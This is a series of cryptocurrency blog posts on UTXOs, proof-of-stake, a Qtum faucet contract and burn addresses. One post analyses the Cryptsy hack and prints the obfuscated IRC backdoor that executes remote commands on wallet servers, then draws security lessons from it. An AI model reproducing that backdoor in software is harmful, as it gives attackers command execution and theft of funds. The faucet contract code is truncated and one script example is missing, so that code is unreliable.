What is a UTXO, and how does it work for a blockchain ledger?

Today I'd like to introduce the basics of how a blockchain works, and how it keeps track of money in a secure manner. I will be covering the UTXO model, as it is used by Bitcoin and Qtum. There is another way of managing funds on the blockchain called the account model, but it will not be covered here.

First I'd like to give some definitions in case you do not know anything about Bitcoin.

  • One-way hash (or just "hash") - A cryptographic algorithm which converts an arbtritrary amount of data into a fixed-length "digest". The algorithm does this in a way that given just the digest it is impossible to determine what the input data was, and furthermore it is impossible to predict what the digest is from the given input data. The most common example is SHA256 which is used extensively in Bitcoin, but there are many others including SHA3, RIPEMD160, scrypt, and many others.
  • Public key cryptography - A cryptographic mechanism by which a "private" secret key can be converted into a "public" key and used to prove ownership of the private key without giving away the secret. Additionally it is possible to encrypt data using the public key so that only the person holding the private key can decrypt it. In Bitcoin this is commonly used to sign transactions. It is possible to prove that the creator of the transaction owns the secret private key by using only the signature data and the public key.
  • Merkle root - A tree data structure that uses one-way hashing to hold multiple pieces of data making it so that any data in the input of the tree can not be modified without changing the final value of the merkle root hash.
  • UTXO - Unspent Transaction Output, an unspent vout from a transaction
  • Block - The smallest verifiable and unforgeable unit on the blockchain. It contains various data to prove it's consensus as well as transactions

So, let's talk about how transactions work in this. Transactions in Bitcoin resemble a cashier's check in some ways. When you want to spend an "output" of a transaction you must spend the entire thing. It's similar to how you can't walk into the bank and say "I want to cash half of this check". However, in this model there is no equivalent of cash or bank accounts. So in order to send money anywhere you must "cash" a check written out to you, and "output" from that cashing process a check to your intended destination, and another check back to yourself.

This "cashing process" is actually a transaction in Bitcoin. In a transaction you spend 1 or more "checks" (actually known as UTXOs) and create 1 or more UTXOs to new destinations from those spent funds. The UTXOs you spend in a transaction are called "vins", and the new UTXOs you create are called "vouts". Once a UTXO is spent by a transaction it can be considered gone and destroyed. You can see it's history in the blockchain, but there is nothing that can done with it.

So, one problem in our system so far is that checks are normally written out to names, such as "Jordan Earls". Anyone of course can say they are any name on the internet. This is where we introduce public key cryptography and programming into UTXOs. In Bitcoin UTXOs contain a script, or a computer program, which are only spendable if you can make that script end by saying "True". Let's look at the most simple script possible that does something useful:


This is referred to as a "pay-to-pubkey" script. It was the first standard Bitcoin transaction type. The first item is [pubKey]. This is the data for a public key. Remember that for each public key there is a private key which is kept secret by it's owner. It is safe to publish the public key, but not the private key. The Bitcoin "Script" language is stack based. So imagine you have a stack of papers. You write the public key on a piece of paper and then place it on the stack. The next piece of this script is OP_CHECKSIG. This specific operation will take 2 things off of the top of the stack. The first thing it takes off is the public key. Then, the second thing it takes off is the cryptographic signature.

This is confusing now though. OP_CHECKSIG takes 2 values from the stack (also known as arguments), but our script appears to only have 1 value, pubKey. This is where the vin portion becomes important. You can imagine the vout script as the "pay to" field on a check, and the vin script as the place you sign on the back, proving that you are indeed the intended party from the "pay to" field. In Bitcoin, a script is not executed until it is spent. And when it is spent, it first executes the vin script, and then places the resulting data from the vin stack on to the vout stack. So in actual execution, the script might look rather like:

[signature from vin] [pubKey] OP_CHECKSIG

One could consider the vout script as a challenge, and the vin as the answer to give the vout to satisfy it. Anyway, now that we have a vin providing the signature and attempting to spend these funds, we can actually execute the script. If the signature and public key is valid, then OP_CHECKSIG will push "true" on the stack, resulting in the UTXO being succesfully spent.

So in a transaction, each vin specifies a previous UTXO, and provides an answer that causes the UTXO's script to return "true". If an invalid signature or similar is used, then the scripts will return "false" and the transaction will not be valid. It is not possible to partially spend a UTXO. It must be completely spent or left untouched. This means that if you have a UTXO worth 10 tokens, and you want to send 7 tokens to Bob, then you must make a transaction that spends this 10 token UTXO, and creates 2 outputs. One output to Bob (using his public key), and one output back to yourself (ensuring that you can provide an "answer" to the vout to spend it successfully). This second output back to yourself is called a "change address".

Finally, we have a reasonable way of exchanging tokens using transactions and scripts. However, we face a problem. When someone sends you a transaction output, how can you be sure that their vins for that transaction only use unspent outputs. This is where the concept of the blockchain becomes important.

A block in Bitcoin has a header. The header contains the following:

  • Version
  • Previous block header hash
  • Merkle root hash of all transactions in the block
  • Time of creation
  • Difficulty
  • Nonce

The body of the block is complete transactions (and eventually witnesses as well, but that's another topic).

Because each block includes a reference to the previous block, it is impossible to modify a previous block sereptitiously. To modify a previous block would change the block hash, and thus break the "chain" made of block hashes.

Bitcoin uses the Proof of Work (PoW) consensus system. This will be explained more in a later article, but basically it is a system which requires participants (miners) in the block creation process to put in a certain amount of computational work to solve a difficult puzzle. The first miner to solve the puzzle gets a reward and their created block is added to the network's blockchain. How much work must be done is controlled by the "difficulty" specified in the block.

In PoW, only the block header is actually used for the consensus mechanism. The merkle root hash ensures that despite this, it is possible to validate every transaction in the body of the block, as well as ensure that every transaction has been received.

Once a block has been created, it's transactions can be mostly considered permanent. The only way to "double spend" a UTXO is to replace the block in which the spending transaction took place. This can happen naturally in some cases (known as orphan blocks), but as more blocks are built on top of the transaction containing block, the likelyhood of this becomes exponentially less likely, and furthermore, would require exponentially more work to maliciously attack and replace.

This is why many services that accept Bitcoin wait for 3 or 6 confirmations (blocks placed on top of the transaction containing block). It becomes incredibly unlikely that the blockchain could be broken and those funds spent by another transaction.

We have only one remaining problem. Where do the tokens initially come from? They come from the mining process. As part of mining, the miner adds a special transaction called a "coinbase" transaction. This transaction has no inputs, and is allowed to have outputs worth a set amount (currently 12 in Bitcoin). This coinbase transaction is where all of the tokens in circulation actually come from. Without tokens there would be no transactions to create, and thus nothing to be done.

Now we have a functioning blockchain that is capable of holding it's value securely, ensuring that double spends are extremely difficult to execute (and increasing in difficulty with more confirmations). You should now know enough to understand how Bitcoin, Qtum, and other UTXO cryptocurrencies really work at the protocol level and can begin to look into more advanced topics on the blockchain.


  1. https://en.bitcoin.it/wiki/Script#Obsolete_pay-to-pubkey_transaction
Posted: 7/27/2017 6:20:44 PM

The Qtum Sparknet Faucet

I've made a smart contract for the Qtum Sparknet testnet. It functions as a basic faucet. It doesn't help if you don't already have some coins because gas is required to use it. However, if you need more coins you can use this faucet to retrieve 100 coins at a time. You can also use it to send coins to other addresses not owned by you.

Here is the contract code, it's very simple:

pragma solidity ^0.4.11;

contract QtumFaucet {
    uint constant COIN = 100000000;
    function deposit() public payable{
    function withdraw() public{
        uint amount = 100 * COIN;
        if(this.balance < 100 * COIN){
            amount = this.balance;
    function send(address a) public{
        uint amount = 100 * COIN;
        if(this.balance < 100 * COIN){
            amount = this.balance;

   function() payable{}

This contract generates this ABI JSON file:


This contract is deployed to the sparknet at address f28aa77dd07ee8a1288ab6f41b23ebf6d605dc3e.

To initially fill this contract I will use "ethabi" like so:

ethabi encode function ~/faucet.json deposit

I deposit 1000 tokens to the faucet now using sendtocontract:

./qtum-cli sendtocontract f28aa77dd07ee8a1288ab6f41b23ebf6d605dc3e d0e30db0 1000

After this transaction has confirmed we can actually withdraw some funds from the faucet contract. So, lets get an address:

./qtum-cli getaccountaddress x

So, we now use that to construct our ABI data using ethabi again:

ethabi encode function ~/faucet.json send -p QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C
error: Tokenizer(FromHex(Invalid character 'Q' at position 0))

Now we face a problem. Solidity doesn't actually use base58 addresses, it uses hex addresses like in Ethereum. This includes the ABI data as well. We must first convert our base58 address QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C to a hex address. A recent update to Qtum has added two RPC calls for this purpose: gethexaddress and fromhexaddress.

./qtum-cli gethexaddress QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C

What this does is actually takes the data encoded in the base58 address, validates that it is not corrupted and is the right size, and then will return that data as a hex string. This hex string is the address format that Solidity and thus the ABI uses. So, now we fix our mistake:

ethabi encode function ~/faucet.json send -p 5b3a45e69dbbd7b3a9db31a8c855040f35793929

Now we can use callcontract so that we know how much gas we need to send (or you can skip this if you're confident the default is enough)

./qtum-cli callcontract $FAUCET 3e58c58c0000000000000000000000005b3a45e69dbbd7b3a9db31a8c855040f35793929 
  "address": "f28aa77dd07ee8a1288ab6f41b23ebf6d605dc3e",
  "executionResult": {
    "gasUsed": 55978,
    "excepted": "None",
    "newAddress": "f28aa77dd07ee8a1288ab6f41b23ebf6d605dc3e",
    "output": "",
    "codeDeposit": 0,
    "gasRefunded": 0,
    "depositSize": 0,
    "gasForDeposit": 0
  "transactionReceipt": {
    "stateRoot": "4118b6d0685de70ef82c7905e7ab2d691470285b7c56506ffca9b1db21bcb278",
    "gasUsed": 55978,
    "bloom": "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
    "log": [

Under execution result, the gasUsed field is what we are interested in. It's always safer to send a little more gas than is needed to avoid out of gas exceptions. So, we will use 60,000 for the gas limit.

./qtum-cli sendtocontract $FAUCET 3e58c58c0000000000000000000000005b3a45e69dbbd7b3a9db31a8c855040f35793929 0 60000
  "txid": "cb7e8ef370a05665d5dd43d1134b8d0833d1c746d2d618162727c54e0f5a6ef5",
  "sender": "QWqFJB4EUhbBJpGnnnjaeR1mdUJdr6fWkV",
  "hash160": "703357de0cad939a528035cd319f849067fce2c7"

You can look at the results on the block explorer. Here is the contract execution. If we look at the block this transaction was included in, we see immediately after the execution transaction we have the Account Abstraction Layer generated transaction which actually sends 100 Qtum to our intended address, QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C. Further more, if we look at the coinstake transaction we can see our gas refund as the last output, an output of 0.0004022 Qtum sent to address QWqFJB4EUhbBJpGnnnjaeR1mdUJdr6fWkV.

And finally, in my wallet I also see the 100 tokens that were sent.

This contract is still alive and I'll monitor it and put more coins into it. So join in on the fun and deposit some coins and withdraw them. It's a pretty cool little contract that I made in about 10 minutes.

Posted: 6/30/2017 9:44:54 PM

Account Compromise

Some time ago I lost access to earlz.biz.tm, which was used for my old email earlz@earlz.biz.tm, as well as the Skype account earlzdotnet. If you get a contact by either email or skype from these accounts please report it to me at my actual email, earlz@earlz.net. I'm pursuing legal action as I've found out the guy who stole it is not just sitting on it, but was actively using it.

Tags: scam accounts
Posted: 6/20/2017 6:21:19 PM

Proof Of Stake Mining, How it actually works

I've seen tons of broad descriptions of proof-of-stake mining like "instead of using computing power, you just leave your wallet open with your coins", but this doesn't explain anything as to how PoS actually works, how it's secure, and why more computing power doesn't give any advantage. So, here I would like to explain it in technical terms, but hopefully broad enough that non-technical people can understand it.

Proof-of-stake mining is similar to Proof-of-work at a technical level. It involves a sort of lottery, similar to proof-of-work, but the difficult of this lottery is weighted depending on how many coins you are staking. The overall process for "attempting" to mine a PoS block is like so:

  1. Add a coinbase transaction, and a staking transaction (in most coins, must be hardcoded as the second transaction)
  2. Prepare block normally, with transactions from network etc
  3. Compute the PoS "kernel"
  4. Compute the "staking difficulty", which is the base difficulty, reduced by a ratio of how many coins you are staking (or in PoS version 1.0's case, the coinage of your coins)
  5. Compare the kernel's hash against the staking difficulty
  6. If the hash meets the difficulty then continue, otherwise go back to step 1 trying other UTXOs in your wallet that are suitable for staking
  7. Now you have a valid PoS block. The final step is to sign the block header, proving that you own the staking transaction from step 1.

Now I'll try to go into a bit more depth.

First, the staking transaction is a special transaction that is not possible on the normal Bitcoin blockchain. It includes the concept of negative fees. Because all stakers know the reward, they add this reward to this transaction, meaning that there are more output coins than input coins. This kind of transaction is only valid in a staking context.

Next, the PoS kernel. This is a bit complicated, but the important part is that nothing in it can be easily changed in the context of this block. In the case of blackcoin, the kernel consists of "stake modifier"(I'll explain that in a bit), current block's timestamp, and data from the "txPrev". The txPrev is the transaction of the output which is spent by the staking transaction(ie, the input to the staking transaction). The data pulled from the txPrev includes blocktime, transaction time, hash, and output number (vout 'n').

Because the txPrev data has already been confirmed in the blockchain, it is immutable. The only piece of data that is mutable is the current blocktime. The current blocktime in PoS coins is actually masked though (ie, the bottom bits are set to 0), so that there is very little entropy that can be had by making minor modifications to it. And the blocktime can not be beyond certain network drift limits, or not all nodes will accept the block. Finally the stake modifier is a value generated by taking some entropy bits from the previous (iirc) 64 blocks and hashing it together to form a relatively random number. It's primary purpose is to make computing future block's (beyond the next block) kernel difficult.

Finally, all the data for the kernel is hashed together. The staking difficulty is computed simply. It takes the standard difficulty from Bitcoin, but makes it so that this difficulty is for 1 coin. If you stake 2 coins, then it's only half the difficulty. For 4 coins only a quarter of the difficulty, etc. There are some restrictions to this. In order to prevent someone from being able to control the network for a chain of blocks with a large number of coins, there is a limit to the amount of staking coins, and thus there is a limit on how much the base difficulty can be reduced by.

Finally, a signature is made, proving that the staking transaction actually belongs to the person creating this block. The signature itself goes into the blockheader so that the signature is part of the blockhash.

All of this put together causes the following effects:

  1. PoS block "mining" does involve hashing and difficulty like PoW, but there are very few mechanisms to change the hash that is given, and so no matter how much computing power you have, it won't help any
  2. The stake modifier prevents predicting which block you will be able to successfully stake, because it adds a lot of uncontrollable entropy to the kernel hash
  3. The more coins you stake, the better chance you have at successfully creating a block, because of the weighted difficulty
  4. In case the network gets stuck due to a sudden drop in the number of people staking, the low-entropy version of the blocktime will eventually allow new kernel hashes to be generated given enough time, giving stakers left on the network a chance to have a successful PoS block
Posted: 3/24/2017 7:01:28 PM

Analyzing the $5.6 Million Exploit and Cryptsy's Security Failings

Yesterday, it was announced that Cryptsy was hacked. They wrote in decent detail what happened, but didn't explain how all of this was possible. I am apparently an expert at doing security reviews of crytpocurrencies, so let's dig in. First though, I need to introduce you to the world of Altcoins, circa 2014. Skip to the next section if you already know all about that crazy time.

For those unfamiliar with altcoins (alternative cryptocurrencies), it's extremely common for a cryptocurrency to rise up for a few weeks, become a hit, and then suddenly die out. I was the dev of 3 different cryptocurrencies and it happens. When it dies out, there is typically no motivation for the developer to continue working on it, because everyone in cryptocurrency at the time was searching for the next Dogecoin. The thing they can put $10 into early and get $1000 out a month later. If you didn't succeed in doing that (or even if you did in some cases), excitement died down and moved to the next hot coin implementing the feature that made people money last time. So, it is extremely common for altcoins to become abandoned after a few months, fall into disrepair, and become broken in various ways. Cryptsy didn't make a mistake in accepting code from a new maintainer of the cryptocurrency.

However, they did screw up, obviously. Any reasonable exchange compiles all of their wallets from source code. A few exchanges have accepted closed source cryptocurrencies, but most of them are also now dead, or were dead 3 months after opening and gaining enough trust to run away with some money. I must stress, this is extremely common in the alternative cryptocurrency world. Everyone wants to double their dollar and there is no regulation or oversight. Crytpsy I assume also compiled their wallet's code from source. For security, all exchanges should sandbox their wallets (though Richie at Bittrex has told me this is harder than expected. I don't run an exchange, so I don't know in exactly what ways), make sure their cold bitcoin storage is actually cold and not lukewarm, and finally, should review all code that gets compiled and put onto their exchange.

They appear to have neglected these security tasks. Their wallets appear to not be sandboxed in any strong way. If their cold storage had actually been cold, the attackers would've never got beyond emptying their hot wallet. And finally, their code review practices either didn't exist, or were insufficient to catch this. At just around the time of this exploit being created I had started conducting code reviews of cryptocurrencies. This was initially triggered by a coin called "Mysterycoin". He claimed at the time that there was something hidden in the coin. People had started investing in this crazy thing and this was just after the "USBCoin" exploit which stole a ton of money from people. If you read through that thread, it's quite insane that people didn't believe me when I found the exploit, but these are also people that probably invested in it. They didn't care about exploits as long as they exited before the coin was worthless. This is a very common trope of the altcoin world. Anyway, so I started conducting code reviews of these altcoins because no one else was protecting the community from stuff like this. I legitimately wanted altcoins to succeed. There was so much excitement and innovation happening at the time, and everyone was exploring what limits they could take altcoins to. Mixed with this good stuff happening though, a number of malicious scams also popped up. Most of these were the typical pyramid scheme type, or the "Invest now, and then I'll release a new version with [SOME GREAT IMPOSSIBLE FEATURE] and then you'll be rich!", and then the developers would cash out their premine at the highest market price they could, leave the coin, and move onto a new coin and do the same thing. And people ATE. IT. UP. Hell, even I invested in a coin I knew would fail, because I knew I could sell it 12 hours later at double the price before the price tanked 48 hours into it. These scammers knew that people were doing this, so they started employing tricks such as "hidden premines", ie, where they start the currency and have more coins in this cryptocurrency than they announced. Most people knew how to check this kind of thing, so the developers started rewriting code so that the block explorers lied about the first transaction in the blockchain to say 0 coins were created, instead of 1 million coins. Most of these exploits however were fairly harmless in an overall-system type of way. They would lie about transactions, maybe allow the developer to exploit the blockchain, but nothing like executing arbritrary files or becoming part of a botnet.

So, anyway, this kind of thing was really just starting to ramp up. Even Bittrex, one of the most security concious exchanges then and now, had been hit by these code exploits. I'm not excusing Cryptsy, but this kind of behavior with scams and malicious code was a slow and then sudden realization, like the string of OpenSSL security problems. Most developers of altcoins were knew to potentially be scammers, but coins with actively malicious code was extremely rare, if not complete unheard of. And then suddenly exploits were left and right. This was about the point that I stepped in. Bittrex even ended up hiring me as a contractor after I reported a security issue to them at around this time. So, anyway Cryptsy had lax code reviews, if they did at all. And this exploit was not particularly easy to catch. I think today I would've caught it, but two years ago? Who knows.. So, let's dive into the actual exploit:

The Exploit

The exploit is pretty well hidden from the get-go. Look through the commit history. You won't find anything relevant. Yep, they changed it in the initial commit. However, they do have the "Change IRC Network" commit there to look like an obvious fix for crytpsy. Anyone smart knows to never trust commit history. Commits can always be changed, backdated, you name it. It's user provided information. This actually made my job of conducting code reviews significantly harder. The only way to figure out the actual changes a developer made to the coin, you must take the code and compare it to another coin that is similar. This basically involves a lot of trial and error with trying to match their code up to a sane similar coin that you know is trustworthy. Oh yea, no altcoin developer starts from nothing. They always fork a different coin as their base and change things from there. So, if you can find a sane coin to compare the code against, then you have to mostly manually sift through a ton of noisey renaming from (say) "Firecoin" to "Lucky7coin" to get at the very core of what they actually changed in the logic.

So, let's see what that would've looked like, while cutting out the noise. Something like this

As you can see, it's pretty well hidden. It appears to be some innocent modifications to the allocation methods, but yet, those comments don't make any sense. This should have been a red flag, especially things like define S_ORDER(a,b,c,d) b##a##d##c which to me screams "I'm obfuscating something" (I should know, I work on a software obfuscator in my day job). So, Lets get out the core code:

    if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
        CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
        if (buf) {
            std::string result = "";
            while (!feof(buf))
                if (fgets(pszName, sizeof(pszName), buf) != NULL)
                    result += pszName;
            strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
            if (strchr(pszName, '!'))
                *strchr(pszName, '!') = '\0';
            Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());

This takes place in the loop for handling IRC messages. Bitcoin and altcoins use (or at least use to) IRC for finding other nodes to receive the blockchain. It connects to an IRC network and watches for JOIN messages and messages beginning with "352", and then uses that as a marker to parse the rest of the message as an IP address. If you look at what the CBuff macro is, it is "PR" "IV" "M" "SG". Anything, ANYTHING concering private hidden messages in this code should be an immediate flag.

Now, let's look at what this code actually looks like when preprocessed and all the macros are resolved:

      if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1)
             FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
             if (buf) {
                 std::string result = "";
                 while (!feof(buf))
                     if (fgets(pszName, sizeof(pszName), buf) != 
 # 356 "irc.cpp" 3 4
 # 356 "irc.cpp"
                         result += pszName;
                 strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
                 if (strchr(pszName, '!'))
                     *strchr(pszName, '!') = '\0';
                 Send(hSocket, real_strprintf("%s %s :%s\r", 0, "PR" "IV" "M" "SG", pszName, result.c_str()).c_str());

Hmm.. this code looks a lot more sinister now. Basically the logic resolves down to "If a private message comes in with the 2nd word being ":!", then execute the 4th word of the message as a command" And word is defined as being seperated by a space. I'm not really sure why the convuleted strstr() logic is used on the 3rd line of the exploit however. I can only assume to make it harder to understand. But anyway, it basically executes the command sent in and then will send back the standard output of the command. And this is how they were able to execute any arbritrary command on the wallet server.


So, this was a pretty big mistake from multiple failures in security architecture... A $5.6 million dollar mistake. With even basic security protocols an exploit like this should have been caught and rendered nothing at risk besides maybe the actual Lucky7Coin hot wallet. This exploit existed for at least 6 months before actually stealing all of cryptsy's cold wallet funds. Somewhere in that amount of time, someone should've noticed the odd IRC traffic. Or hell, why was IRC traffic even being allowed in this case!?

I think some take aways from this are:

  1. If you're running anything to do with Bitcoin, security is not a joke. It's not a matter of if you get hacked but rather when. And when you do, you'd better hope your wallet with most of your funds is so cold it's practically frozen and attackers can't get to it
  2. Code reviews are hard, but extremely important. A few months ago I reviewed the coin "Pharma" 2 times and it wasn't until the third time that I found an exploit in it. I'm not saying they didn't try to conduct a review to find any potential exploits, but it's really best to have more than one eyes on this kind of thing, and I doubt this made it past 2 people
  3. You should be sandboxing everything possible. Sandboxing is hard, especially for something as resource intensive as altcoin wallets, but this entire issue could've been prevented with proper sandboxing.
  4. You should be monitoring your networks. Use a whitelist if possible, and have excessive monitoring with heuristics otherwise to detect anomolies like this.
  5. Your cold storage should be actually cold. If you can get at your cold wallet's private keys without physically getting out of your chair and walking somewhere, it's not cold.
  6. You can never be too careful when handling millions of dollars
  7. Actually respond to incident responses, and provide bug/security bounties to encourage people to report it instead of exploit it. When I contacted some exchanges about a much less significant exploit in a coin, two did not reply, ever. One wrote back and told me "It doesn't affect transaction balances, so therefore it's not our problem" (basically, fuck you, we don't care that our traders get a fair deal), and one exchange that actually responded and took the market offline within 30 minutes of my report.
Posted: 1/16/2016 7:17:49 AM

Exploit Report Responses

So, I found it interesting the "response" I got from exchanges when reporting the Pharma Exploit. TL;DR; some malicious miners could mine blocks significantly faster than legitimate miners.

In all, 3 coins and 3 altcoin exchanges were affected. The coins being Pharma (2 exchanges), MasterDoge, and Hexxcoin (1 exchange). The 3 exchanges are C-CEX, BlueTrade, and Yobit. I also sent a message to Bittrex because I thought a coin was affected that they had a market for, but that was a mistake and the coin was not actually affected.

Responses from exchanges:

  1. C-CEX: No response, market still online
  2. Yobit: No response, market still online
  3. BlueTrade: Response summarized as "this exploit only affects the miners and because it doesn't affect transaction balances, we will keep the market up." (which is bullshit), market still online
  4. Bittrex: Response within 30 minutes asking for more details (at this point I indicated it doesn't actually affect a coin I thought it did), unaffected

So, there you go. Four exchanges contacted about a security problem. One replied back that was actually concerned about it.

Posted: 7/5/2015 5:49:59 PM

Still existing

I really should blog more. Just hard to find the time...

I still exist though. Most of my recent projects have been bitcoin and altcoin related, since I do bring home a bit of money from freelancing in that field in my freetime. Bitcoin and altcoins really seem to be winding down though since the great altcoin bubble popping. So, probably going to be looking for something new to do pretty soon.

hmm.. yea, I guess that's it

Tags: mmm
Posted: 5/2/2015 6:11:15 AM

Configuring a SoYouStart IP for Arch Linux

So, I recently managed to snag a SoYouStart dedicated server. It comes with 16 IPs, but configuring more than the main IP (ie, "failover" IPs) is definitely not trivial. I used my dedicated server for hosting my own VMs with Proxmox, so I definitely needed to use these extra IPs.

I couldn't find any good way to configure a failover IP configuration in Arch Linux, so I scrounged around and ended up following directions mostly from the FreeBSD instructions, but adapted for Arch.

Here's how I did it

[earlz@test2 ~]$ cat /etc/netctl/virtnetwork 
Description='A more versatile static ethernet connection'
# Any valid iproute command can be placed in this array
IPCustom=('addr add FAIL.OVER.IP/32 dev ens18' 'route add PRIMARY.IP dev ens18' 'route add default via PRIMARY.IP')

Replace FAIL.OVER.IP with the appropriate failover IP(ie, the extra IPs). Replace PRIMARY.IP with your main IP, but change it to end with 254.

I'm sure there is a better way to do this, but eh. close enough for me

Posted: 1/15/2015 2:54:58 AM

Provably Spendable Altcoin Burn Addresses

Please verify this message at keybase.io/verify

Copy and paste the text from here: https://gist.githubusercontent.com/Earlz/de3cc5f6ee85c7a69d53/raw/e9b8f53ddadd1677fc2fd2a0f1df8547e08ae408/gistfile1.txt to https://keybase.io/verify to ensure it is signed by me(earlz)

Also, for good measure, you should run the code I used to generate the addresses to confirm. You can never be too careful throwing around huge amounts of money


This is a list of unspendable addresses with which to burn coins to. When you send a coin to any of these addresses, they are permanently gone and can never be redeemed.

You can prove this by sending a small test amount to the address and then checking a block explorer or using getrawtransaction txid 1. You should see the coins output to somehting like "raw_scriptPubKey": "76a914000000000000000000000000000000000000000088ac" Some block explorers are also smart enough to indicate in their user interface that the coins were destroyed.

You can find the version number matching to the desired altcoin by checking two places in the code:

chainparams.cpp for bitcoin 0.9 and later based coins:

base58Prefixes[PUBKEY_ADDRESS] = list_of(0); //version number is 0

or in base58.h

PUBKEY_ADDRESS = 0, //version number is 0

You can generate this list of addresses with this C# code

Version: 0, Address: 1111111111111111111114oLvT2
Version: 1, Address: QLbz7JHiBTspS962RLKV8GndWFwjA5K66
Version: 2, Address: ogCyDbaRMvkdsHB3qfdyFYaG1WtWyNoVK
Version: 3, Address: 2D1oxKts8YPdTJRG5FzxTNpMtWmqBnjrht
Version: 4, Address: 2cMQwSC9qirWGjZM6gLGwW69X22mx9jRA9
Version: 5, Address: 31h1vYVSYuKP6AhS86fbRdMw9XHieotbST
Version: 6, Address: 3R2cuenjG5nFubqX9Wzuukdin2YfLYZyD1
Version: 7, Address: 3pNDtm61yGF8j2ycAwLEPsuWQXoc2sA4Km
Version: 8, Address: 4DhpssPJgSi1YU7hCMfYt1BJ334YnPXXvB
Version: 9, Address: 4d3RrygbPdAtMuFnDmzsN8T5fYKVUjFu7m
Version: 10, Address: 52P2r5yt6odmBLPsFCLBrFisJ3aSBHTm7z
Version: 11, Address: 5RidqCHAoz6dzmXxGcfWLNzevYqNrjZe5V
Version: 12, Address: 5q4EpJaTXAZWpCg3J2zppWGSZ46KYZmeCZ
Version: 13, Address: 6EPqoQskEM2Pddp8KTL9JdYEBZMGFDpfbU
Version: 14, Address: 6djSnXB2wXVGT4xDLsfTnkp1p4cD2B68LT
Version: 15, Address: 7353mdUKehx9GW6JNHznGt5oSZs9mBsnYx
Version: 16, Address: 7SQekjmcMtR25wEPPiL6m1Mb5586R5ut33
Version: 17, Address: 7qkFjr4u54stuNNUR8fRF8dNhaP37bg4x7
Version: 18, Address: 8F5rixNBnFLmioWZSYzjjFuAL5dytLR3ux
Version: 19, Address: 8eRTi4fUVRoeYEeeTyL4DPAwxatvbjaxFV
Version: 20, Address: 93m4hAxmCcGXMfnjVPfNhWSjb69sDziGSY
Version: 21, Address: 9T6fgHG3unjQB6vpWozhBdiXDbQp3P7F8M
Version: 22, Address: 9rSGfPZLcyCGzY4uYEL1fkzJr6fkicS2rs
Version: 23, Address: AFmseVrdL9f9oyCzZefL9tG6UbvhPbdYzM
Version: 24, Address: Af7Udc9v3L82dQM5b4zee1Xt77BeB76VTG
Version: 25, Address: B4T5ciTCkWauSqVAcVKy88ofjcSasUkSYU
Version: 26, Address: BTngbpkVTh3nGGdFdufHcG5TN7hXYuX31z
Version: 27, Address: Bs8Haw3nAsWf5hmLfKzc6PMEzcxUGSYjxf
Version: 28, Address: CGTta3M4t3yXu8uRgkKvaWd2d8DQvDPnpL
Version: 29, Address: CfoVZ9eMbESQia3WiAfF4dtpFdUMf7KWzm
Version: 30, Address: D596YFweJQuHY1BbjazZYmAbt8jJPbKehC
Version: 31, Address: DUUhXNEw1bNAMSKgm1Kt2tSPWdzF8952Np
Version: 32, Address: DspJWUYDimq3AsTmnRfCX1iB99FBnpDZgu
Version: 33, Address: EH9uVaqWRxHuzJbroqzX18yxmeW8XVJyV9
Version: 34, Address: EgVWUh8o98knojjwqGKqVGFkQ9m5BDNc9G
Version: 35, Address: F5q7ToS5rKDfdAt2rgf9yPXY2f21wp8sq4
Version: 36, Address: FVAiSujNZVgYSc27t6zUTWoKfAGxc8CEW5
Version: 37, Address: FtWKS22fGg9RG3ACuXKnwe57HfXuPKLD5o
Version: 38, Address: GHqvR8KwyrcJ5UJHvwf7RmLtvAnr5uTHdV
Version: 39, Address: GhBXQEdEh35AtuSNxMzRutcgYg3nkvq5Wb
Version: 40, Address: H6X8PLvXQDY3iLaTynKkQ1tUBBJjSZSf23
Version: 41, Address: HVrjNTDp7PzvXmiZ1Cf4t9AFogZgDAZZWi
Version: 42, Address: HuCLMZX6paToMCre2czPNGS3SBpctajMLL
Version: 43, Address: JJXwLfpPXkvgAdzj43KhrPhq4h5ZgWCZWe
Version: 44, Address: JhsYKn7gEwPYz58p5Tf2LWychCLWNQsFhn
Version: 45, Address: K7D9JtQxx7rRoWGu6szLpeFQKhbSzyUbC8
Version: 46, Address: KWYkHziFfJKJcwQz8JKfJmXBxCrPkUrNjU
Version: 47, Address: KutMH71YNUnBSNZ59ieyntnyai7LU5ciQj
Version: 48, Address: LKDxGDJq5fF4FohAB8zJH24mDDNHDNtqsE
Version: 49, Address: LiZZFKc7nqhw5EqFCZKcm9LYqidDsKHFSL
Version: 50, Address: M7uAERuQW2AotfyLDyewFGcLUDtAYu9v5V
Version: 51, Address: MXEmDYChDCdgi77RFPzFjPt86j97MwEZsu
Version: 52, Address: MvaNCeVyvP6ZXYFWGpKaDX9ujEQ418F7sm
Version: 53, Address: NKuyBkoGdZZSLyPbJEetheRhMjeznFZszf
Version: 54, Address: NjFaAs6ZLk2KAQXgKezDBmhUzEuwSacxX1
Version: 55, Address: P8bB9yPr3vVByqfmM5KXftyGckAtAdu6f8
Version: 56, Address: PXvn95h8m6x4oGorNVerA2F4FFRpqMqwAM
Version: 57, Address: PwGP8BzRUHQwchwwPuzAe9WqskgmbKp88f
Version: 58, Address: QLbz7JHiBTspS962RLKV8GndWFwiJNvEPz
Version: 59, Address: Qjwb6QazteLhFaE7SkeocQ4R8mCexgjaLb
Version: 60, Address: R9HC5WtHbpoa51NCUAz86XLCmGTbkf45NT
Version: 61, Address: RYco4dBaK1GStSWHVbKSaebzPmiYNjtd5R
Version: 62, Address: RwxQ3jUs2BjKhseNX1em4msn2GyVBjd1Lc
Version: 63, Address: SMJ12qn9jNCCXJnTYRz5Yu9ZenERqvYwfg
